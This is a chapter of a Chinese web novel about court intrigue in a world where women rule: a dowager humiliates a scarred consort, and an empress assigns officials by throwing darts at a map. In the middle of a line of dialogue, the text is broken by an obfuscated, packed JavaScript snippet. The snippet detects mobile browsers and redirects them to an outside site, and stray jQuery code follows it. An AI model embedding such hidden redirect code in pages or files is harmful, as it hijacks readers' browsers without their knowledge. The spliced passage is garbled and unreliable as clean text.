13.察觉
作品:《被夺舍后,他疯魔了(女尊)》 “把你脸上的面纱摘下来。”雷氏看着低眉顺眼的衣储莲,命令道。
跪在一旁的安桃面带担忧。
容貌被男子来说,几乎是和性命、贞洁一样重要的东西,公子被毁容后,本就郁郁寡欢,自卑神伤。这面纱遮住的并不只有疤痕,还有公子的尊严。
太后却非要让公子摘下来,这不是在有意羞辱吗?
雷氏确实在羞辱衣储莲,他虽然和沈玉峨达成联盟,保护衣储莲不被孟鸿雪折磨。
但他之前在衣储莲身上受的气还是要发泄的。
五年前,雷氏本想让雷元良做沈玉峨的正室,让雷氏一族连出两任皇后,也算是为雷氏的荣耀出力了。
但沈玉峨不肯,执意要娶衣储莲,甚至还直接绕过他这个养父,直接向先帝求旨赐婚,狠狠打了雷氏的脸。
雷氏是个记仇的人,他受了这口气,没法撒在沈玉峨身上,自然要在衣储莲身上报复回来了。
“太后......”安桃担心自家公子受不了露出伤残面容的刺激,刚要开口求情,却听衣储莲平静地应声。
“臣侍遵旨。”衣储莲微微抬手,举止自然地摘下了面纱。
他并没有如雷氏预想中的那般,露出一副受了奇耻大辱的表情,只是低眉顺眼地跪在雷氏面前、跪在佛前,恍若温顺无害的信众。
佛堂光线昏暗,浮动着朦胧的檀香烟雾,虚昧的淡烟里将衣储莲温润浅白的肌肤衬得湛然若冰玉,高挺的鼻梁侧一颗小痣,又添了一份温柔清媚,若没有纵横狰狞的伤疤,夸一句仙姿玉色也不为过。
雷氏心中觉得解气,又不禁感叹,孟鸿雪下手可真是狠。
不过......雷微微深吸了一口气,像是在嗅着什么。
佛堂满室的檀香味中,他仿佛闻到了一股若有似无的、夹在着一丝清苦味的奇异药香。
这药香十分独特,雷氏记得,他曾在先帝宠侍白贵君被烫伤后闻到过。
“玉容膏?”雷氏深深拧眉,看向衣储莲的脸,震惊地开口。
衣储莲略微诧异地看了雷氏一眼,旋即低下头,温声道:“是,陛下见我脸伤可怖,难以见人,就送了我玉容膏褪疤。”
雷氏沉默许久,有些阴阳怪气道:“那看来皇帝还真是怜惜你,你的脸都毁成这个样子,还舍得给你烧钱。”
衣储莲指尖微动,有些不解。
皇室富有四海,奢华极盛,一瓶小小的玉容膏,究竟要花费多少钱,才能让享乐了半生的太后感叹烧钱?
“太后,这玉容膏是如何制成?”他带着疑惑低声问道。
雷氏盘着手中佛珠,语气略带冷意,道:“且不说其他的罕见药材,光是你玉容膏的引子,就得用一株酷似人形的千年人参,蒸腾凝固后的水汽,混合百年以上的天山雪莲捣碎后提取的青汁。”
“这东西耗极人力物力,也只能得到拇指大的一小瓶,价值堪比修缮一座新宫殿了。可以你脸上的伤来看,怕是再制三五瓶也不够用。”
雷氏责怪地盯了衣储莲一眼,眼锋刀子似的落在他的脸上,仿佛公爹在看一个只会花钱、祸害家里的败家女婿。
衣储莲心中猛然一颤。
他原以为皇家的东西,无一不奢靡昂贵,玉容膏疗效好,想必也便宜不了,但他没想过竟然会这么贵,贵到远远超过了他对奢靡的想象。
这药膏还不及他巴掌大小,造价却堪比一座金碧辉煌的宫殿。
‘为什么?沈玉峨为什么要对他这么好?这不是在演戏吗?’
‘沈玉峨为了讨好孟鸿雪,真的愿意付出如此巨大的代价吗?’
‘可既然是讨好孟鸿雪,为什么她又求太后庇护他,不让孟鸿雪折磨他?为什么?’
衣储莲紧咬着唇,咬得薄唇几乎出血,低敛的长睫不可抑制地轻微颤抖,眸光中渗透着压抑的疯狂。
一种不可置信的荒唐想法在他的心脏里扎根生长,如诡异的藤蔓爬满了每一寸角落,汲取每一滴血肉,令他每一次的呼吸都带着如同窒息与重生交织般的剧痛。
难道,她之前说的都是真的?
*
沈玉峨打了一个喷嚏,缩紧了身上的白狐裘大氅。
廖果立刻上前,给她递来一个银质缠枝纹嵌螺钿的暖手炉,并笑着说道:“老话说,打喷嚏是有人惦记,看来定然是有贵人惦记着陛下呢。”
“老一辈瞎说罢了,谁会惦记朕呢。”沈玉峨笑了笑,掌心搭在暖手炉上,感受着暖意如细水般涓涓流入身体。
今早她从东暖阁一路急奔到蓬莱殿,受了冻又出了汗,冷风一吹就着凉了。
如今虽然喝了驱寒的汤药,御书房里也烧着地龙和炭盆,但她依旧觉得背脊发冷。
说来她以前身体是没这么虚弱的,骑马狩猎样样精通。
只是后来穿越女来了,嚷嚷着什么要身材管理,每天就吃点菜蔬、水果,肉就夹两筷子,米饭更是不吃。
沈玉峨真想不通,她的身体本就不胖,高挑修长,骨肉匀称而结实,穿越女到底减哪门子肥呢?
好不容易附身到皇帝身上,山珍海味、大快朵颐,不好吗?
长达五年的节食,都快把她的身体养成风一吹就倒的病西施了。沈玉峨郁闷至极。
忽听门外的小宫人进来通报:“陛下,孟璟孟大人、尚书令周慈大人、礼部尚书朱绮来了。”
沈玉峨窝在暖榻里,微微颔首:“让她们进来吧。”
孟璟等人是沈玉峨命人传召来的,科举放榜之后,就得给这些进士们安排官职了,为避免孟璟等下私下里就把卖官鬻爵的事儿给办了,她得先下手为强。
“微臣叩见陛下。”孟璟等人进入御书房就齐齐跪下。
“都平身吧。”沈玉峨语气散漫,带着一点病气。
“是。”孟璟缓缓起身,一抬眸,就看见懒洋洋窝在暖榻里的沈玉峨。
她全身被纯白无暇的白狐大氅裹着,顺滑柔亮的白狐毛,将她白净得有些病恹恹的脸裹住,像棉花里托出一颗明润光莹的珍珠。
“朕这次找爱卿们,是为新科进士们授职一事,这么多人一时去哪里好呢?”沈玉峨面带一丝苦恼,修长的指尖在银质暖手炉上轻点着。
孟璟一听是这事,立刻迫不及待就要开口安排自己的人。
“陛下,臣——”
“不如这样吧。”沈玉峨不等她说,直接打断,兴致勃勃道:“我们玩飞镖!”
“飞镖?”孟璟等人异口同声,满脸不解。
廖果却已经叫人把早就准备好的东西搬了进来。
这是一面有羊皮制成的虞国地图,还有一副飞镖,每一个飞镖上,都系着一个写着新科进士名字的布条。
“陛下,您不会想一会儿这飞镖甩在哪里,飞镖上写着名字的进士,就去哪里任职吧?”孟璟脸色有些难看,其他官员也是一脸的匪夷所思。
“对啊!有问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394652|183294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
题吗?”沈玉峨随手拿起一个飞镖,闭起一只眼睛,比划着就要甩出去。
穿越女用她的身体,什么荒唐事没干过?
既然要荒唐,那就贯彻到底咯。
孟璟阴沉着脸:“陛下,国家大事岂能儿——”
嗖——
沈玉峨一个飞镖甩出去,正好命中杭州府、钱塘县。
廖果连忙跑过去,看了眼上面的名字,喊道:“二甲进士,朱曦。”
孟璟大感惊喜,朱曦是她的门生。
钱塘县知县,虽说只是正七品,但统管全县,钱塘又自古繁华,任职几年银子岂不是雪花一般流进了她的手里。
若是她自己安排朱曦去钱塘县任职,可能都要费一番功夫,毕竟还有周慈等人需要打点。
她们虽然是同党,但都憋着一股气,想要蚕食对方壮大自己。
一想到这,孟璟的脸色瞬间由阴转晴。
沈玉峨也适时偏过头来看她,一双水莹明亮的眼睛疑惑得看着她:“爱卿,你说什么?”
“没、没什么。微臣的意思是,陛下好镖法!”孟璟笑得合不拢嘴。
“那是当然。”沈玉峨骄傲地抬着下巴。
她继续一个飞镖一个飞镖地甩出去,看似胡乱投掷,其实都是她拿捏算计好的。
没有人知道,沈玉峨其实玩得一手好飞镖,指哪打哪儿,从无偏移。
她将孟璟几人的门生全都安排到她们满意的地方后,终于图穷匕见,将系着周书兰名字的飞镖,狠狠扎进京直隶的安西县,这里以铁矿出名,尤其是孟家的铁矿。
铁矿是孟家资产的心腹命脉,而沈玉峨就要把周书兰当做一根钉子,狠狠钉在孟家命门上。
原本还一脸笑的孟璟,瞬间笑不出来了,她立刻上前制止:“陛下,周书兰不过三甲进士,怎么能在直隶当县令?这也太草率了。”
“草率?”沈玉峨掂着飞镖,无奈撇了撇嘴:“行吧,既然丞相说草率,那朕也不强求,廖果,把那些飞镖全都拔下来,全都作废吧!”
“陛下三思!”周慈等人连忙跪下。
沈玉峨刚才一通掷飞镖,把她们的门生都安排进了富庶的江南地区,她们可舍不得把好不容易到手的肥肉吐出来。
“丞相,周书兰虽然是三甲出身,但也是正经科举进士,本官觉得她做安西县县令并无不妥。”周慈道,其他人也跟着附和。
孟璟无可奈何,只能忍气认了下来。
看到孟璟也有吃瘪的时候,沈玉峨乐不可支,感觉因为风寒而酸疼的身体都瞬间痊愈了,一口气绕着皇宫跑五圈不费劲。
不过她到底还是怕传染给衣储莲,晚上就没有再偷溜去东暖阁,像个登徒子似的翻墙爬窗,偷偷摸摸和他挤一张床。
喝了一碗带有安神效果的驱寒汤药后,就沉沉睡去,任由窗外暴雪呼啸。
因此,她并不知晓,此时此刻的东暖阁内,衣储莲正静静坐在窗边。
阁内阒寂无声,唯有一盏微弱的小灯,照亮他温柔清艳的眼眸。
他专注地凝视着纯白的窗纸,似乎陷入一种沉默地等待,等待着一下刻,有一双白皙的手将它推开。
可惜,暴雪之夜,雪风如鬼哭神嚎,他枯等一夜也没等到沈玉峨。
灯芯慢慢的烧尽了,光芒逐渐黯淡下去,衣储莲依旧等待着,恍若静默不言的古老神像,任凭无边无际的黑暗像冰冷的潮水一样,一点点将他淹没。